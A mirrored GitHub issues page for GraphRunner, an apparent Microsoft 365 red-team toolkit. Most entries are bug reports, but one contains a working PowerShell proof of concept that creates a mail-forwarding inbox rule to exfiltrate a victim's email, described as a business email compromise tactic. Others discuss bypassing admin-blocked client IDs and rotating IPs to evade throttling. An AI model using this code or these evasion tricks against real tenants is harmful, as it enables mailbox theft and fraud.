Giter Club home page Giter Club logo

graphrunner's Introduction

Beau Bullock

Hi, I'm Beau. I hack things and play guitar. Since 2014 I have been carrying out penetration tests and red team assessments for Black Hills Information Security. I contribute as much as I can to the InfoSec community by authoring open-source tools, speaking at conferences and on webcasts, writing blogs, and teaching the training course that I authored, Breaching the Cloud.

NOBANDWIDTH is my primary musical endeavor that is heavily inspired by both cyberpunk media and retro-futurism. The compositions are a combination of dark synthwave and metal along with some lead guitar work. A theme of "music to hack to" can be found throughout the tracks.

graphrunner's People

Contributors

c0axx avatar dafthack avatar ninjastyle82 avatar rvrsh3ll avatar sleeptok3n avatar tylous avatar ville87 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

graphrunner's Issues

Get-SecurityGroups returns all groups, not just security groups

According to the name, Get-SecurityGroups should only return security groups. However, it currently returns all Entra ID groups.

This is because the group filter is incorrectly applied in the code:

    $graphApiUrl = "https://graph.microsoft.com/v1.0"
    $groupsUrl = "$graphApiUrl/groups?$filter=securityEnabled eq true"

Because $filter is not escaped, it is treated as a variable expansion and replaced with the empty string at runtime. The resulting URL is https://graph.microsoft.com/v1.0/groups?=securityEnabled eq true, which does not filter the results.

Invoke-SearchMailbox

After Invoke-SearchMailbox retrieved the emails, when you want to download the content the download fail.
I have found the issue and fixed it. It was because the ID used in the request was URL encoded and '-' were replaced with '/'. But when taking direclty the id and not extracting it from the provided URL in the response, you can download everything and it work again.

[Question] ClientID Issue

Hey!

Is we use any other ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c", we can use to perform all the actions? In my case clientid d3590ed6-52b3-4102-aeff-aad2292ab01c (Microsoft office) is blocked by admin.

I tryed powershell client id its working but only few module, teams,mailbox,sharepoint etc.. not working.
Please suggest any alternative client id.

Thank You

Invoke-InjectOAuthApp and Invoke-AutoOAuthFlow

There is an issue to retrieve an access token with the Invoke-AutoOAuthFlow cmdlet by an application created by Invoke-InjectOAuthApp.

The request sent by Invoke-InjectOAuthApp to https://login.microsoftonline.com/common/oauth2/v2.0/token is getting back a 401 status code with this error message The provided client secret keys for app '<redacted>' are expired.

So to investigate I have create manually a new secret with the web interface of azure, then I reattempt the login (with the URL provided by Invoke-InjectOAuthApp at creation) and intercepted the request to https://login.microsoftonline.com/common/oauth2/v2.0/token sent by Invoke-AutoOAuthFlow.
On the intercepted request I have modified the secret to put my new one, and what was surprising is that at first it does not worked either and got the same error message.
But sent it to Burp repeater and after submitting it a few times it has worked.

Then I retried many time to understand why the same request could fail first and success another time and I could not figure out a pattern.
But during my retries, what is sure is that with the first secret it was impossible to get it work and with my second secret (created manually) sometimes it worked sometimes not.

A first patch would be to send request to https://login.microsoftonline.com/common/oauth2/v2.0/token in a loop until the access and refresh token are sent back (and not fail directly after first error).
But it does not help to understand why the first secret never worked. I thought it was because 1 year of expiration is too long, but I have manually created a secret of 1 year and it work. What is very strange also is that when you create a secret using the web interface the request sent to graph API is on the same endpoint as the one sent by GraphRunner to create the first secret.
I also found that it could be because secret is created without any display name (but it's not the case, I have added a display name to the secret created with Invoke-InjectOAuthApp and nothing changed)

Do you have any idea where this come from ?

Fireprox-Support or any other IP rotation

Heyho!

I noticed for larger organizations the tool will be throttled heavily.
Sometimes there will be the message being throttled (sleep 5 seconds), but often it will just skip over the current check with the server response:

Invoke-WebRequest : The remote server returned an error: (429).

too many requests.

Would it be feasible to integrate Fireprox or do you think it makes no sense as there are too many different endpoint URLs?

Is there already something to throttle automatically also in the "getting users" part?
Speaking about 40-50k users :)

Invoke-RefreshGraphTokens "client_id" incorrect

Within $refreshbody on line 418 of GraphRunner.ps1, the "client_id" is not set to the $ClientID parameter. It is instead set to a static value. This throws an error if the refreshToken uses a different ClientID than the static value and you attempt setting the ClientID parameter when using Invoke-RefreshGraphTokens.

Current:
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"

Recommendation:
"client_id" = $ClientID

https://github.com/dafthack/GraphRunner/blob/main/GraphRunner.ps1#L418

Get-Inbox module throws error!

Excellent work guys. Hats off to everyone who are involved with this project!

Please check the screenshot and let me know if you I missed anything:

SLmtoJjRsD

Feature Request - Get-Updateablegroups for only groups matching keyboard

Feature Request:
The ability to run Get-UpdatebleGroups on only specific groups that have say a key word "test" or "admin", etc. May not be a big deal as most people may only want to test against all, but if wanting to target a specific groups in a large organization with over 100k groups, this may be helpful in that regard.

Thanks for considering

[Question] Getting a graph token with specified permissions

Hey!

I'm working on adding a module to GraphRunner for adding an email inbox rule. This is a common tactic used during business email compromise.

How do you specify the scope of permissions used when calling the Get-GraphToken function? Creating an inbox rule requires MailboxSettings.ReadWrite permissions so I'd imagine we need to get an access token with those permissions to perform the POST to create the inbox rule.

I see some mentions of scope in the Invoke-InjectOAuthApp function but I don't see much in the Get-GraphToken function.

For reference, here's my working POC. The POST goes through but I'm left with "403 Forbidden" after using the Get-Token module to get the access token. I can create the rule using Graph Explorer so I know it's not an account permissions issue

Function Invoke-CreateInboxRule {
    <#
    .SYNOPSIS

        This module uses the Graph API to create an inbox forwarding rule. This is common in BEC scenarios.    
        Author: HuskyHacks (@HuskyHacksMK)
        License: MIT
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION
        

    .PARAMETER Tokens

        Token object for auth

    .PARAMETER RuleTerm

        The term you want to use as a matching rule for forwarding email.

    .PARAMETER RuleName
        
        The name for this rule.

    .PARAMETER ForwardEmailAddress

        The email address where you want to send your emails.


    .PARAMETER ForwardEmailName

        The name of the email address account where you want to send your emails.


    .PARAMETER UserId

        The user ID for the user where you want to create the inbox rule. 

    .EXAMPLE
        
        C:\PS> 
        -----------
        
    #>
    param(
        [Parameter(Position = 0, Mandatory = $false)]
        [object[]]
        $Tokens = "",
        [Parameter(Position = 1, Mandatory = $true)]
        [string]
        $RuleTerm = "",
        [Parameter(Position = 2, Mandatory = $true)]
        [string]
        $RuleName = "",
        [Parameter(Position = 3, Mandatory = $true)]
        [string]
        $EmailAddressName = "",
        [Parameter(Position = 4, Mandatory = $true)]
        [string]
        $EmailAddress = "",
        [Parameter(Position = 5, Mandatory = $true)]
        [string]
        $UserId = "",
        [string]
        $DetectorName = "Custom",
        [switch]
        $GraphRun,
        [switch]
        $PageResults
    )


    if ($Tokens) {
        if (!$GraphRun) {
            Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
        }
    }
    else {
        # Login
        Write-Host -ForegroundColor yellow "[*] First, you need to login." 
        Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
        while ($auth -notlike "Yes") {
            Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
            $answer = Read-Host 
            $answer = $answer.ToLower()
            if ($answer -eq "yes" -or $answer -eq "y") {
                Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
                $tokens = Get-GraphTokens -ExternalCall
                $auth = "Yes"
            }
            elseif ($answer -eq "no" -or $answer -eq "n") {
                Write-Host -ForegroundColor Yellow "[*] Quitting..."
                return
            }
            else {
                Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
            }
        }
    }
    $access_token = $tokens.access_token   
    [string]$refresh_token = $tokens.refresh_token 

    #$endpoint = "/users/{0}/mailFolders/inbox/messageRules" -f $userId
    $endpoint = "/me/mailFolders/inbox/messageRules"
    $graphApiUrl = "https://graph.microsoft.com/v1.0/{0}" -f $endpoint

    # Define the headers with the access token and content type
    $headers = @{
        "Authorization" = "Bearer $access_token"
        "Content-Type"  = "application/json"
    }

    $data = @{
        displayName = $RuleName
        sequence    = 2
        isEnabled   = $true
        conditions  = @{
            subjectContains = @(
                $RuleTerm
            )
        }
        actions     = @{
            forwardTo           = @(
                @{
                    emailAddress = @{
                        name    = $EmailAddressName
                        address = $EmailAddress
                    }
                }
            )
            stopProcessingRules = $true
        }
    }

    # Convert the hashtable to a JSON string
    $jsonData = $data | ConvertTo-Json -Depth 4 
    
    try {
        $response = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers -Method Post -Body $jsonData
        Write-Output $response
    }
    catch {
        Write-Error $_.Exception.Message
        Write-Error $_.ErrorDetails.Message  # This might give more specific details from Graph API
    }
}

edit: the specific error output

PS /home/husky/GraphRunner> Invoke-CreateInboxRule -Tokens $tokens -EmailAddressName husky -RuleTerm salary -RuleName salary -EmailAddress [email protected] -UserId "[user to compromise]"
[*] Using the provided access tokens.
Invoke-CreateInboxRule: Response status code does not indicate success: 403 (Forbidden).
Invoke-CreateInboxRule: {"error":{"code":"ErrorAccessDenied","message":"Access is denied. Check credentials and try again."}}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.